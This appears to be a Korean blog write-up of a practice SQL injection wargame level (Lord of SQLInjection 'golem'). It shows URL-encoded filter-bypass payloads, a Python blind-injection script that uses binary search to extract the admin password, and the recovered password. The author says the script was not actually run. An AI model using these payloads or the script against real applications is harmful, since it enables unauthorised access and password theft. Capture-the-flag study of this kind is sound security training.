Play/wargame

[LOS] Load of SQLInjection 10번

병뚜 2022. 10. 24. 13:04

- OR연산자인 수직선 | 필터링 → URL인코딩하면 %7c

- 같다 = 필터링 → 컬럼 in ('admin')

- 패스워드를 알아내야 한다.

 

?pw=%27%7c%7cid%20in%20(%27admin%27)%23

하면 admin로그인은 가능.

 

pw를 알아내기 위해..

블라인드 sql injection 할 것이다.

위 쿼리에 && 1 in (1)과 && 1 in (2) 넣으면 두 결과가 다른 것 확인 가능.

 

 

이제 해보자..

1. pw 길이 알아내기

length(pw) in (1) ~ length(pw) in (n) 반복

n=8

?pw=%27%7c%7cid%20in%20(%27admin%27)%26%26length(pw)%20in%20(8)%23

 

2. 코드 작성

- 집에서하자 업무컴으로 암것도 안됨

import requests

url = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php"
cookie = {"PHPSESSID": "세션"}

def pw_find():
    length = 8
    pw = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            param = {
                "pw": "'%7c%7cid in ('admin')%26%26ascii(mid(pw,{},1)) in ({})#".format(
                    i + 1, value
                )
            }
            print(param)
            req = requests.get(url, params=param, cookies=cookie)
            if "Hello admin" in req.text:
                pw += chr(value)
                break
            else:
                param = {
                    "pw": "'%7c%7cid in ('admin')%26%26ascii(mid(pw,{},1)) > {}#".format(
                        i + 1, value
                    )
                }
                req = requests.get(url, params=param, cookies=cookie)
                if "Hello admin" in req.text:
                    start_num = value
                    value = (value + end_num) // 2
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("password: ", pw)

pw_find()

 

 

참고로 substr 필터링이 존재하기 때문에..

mid함수를 사용했다.

 

그러나 지금 사정상 파이썬 코드를 못돌려서 노가다했다.

각 56 56 101 51 49 51 55 102

=> 88e3137f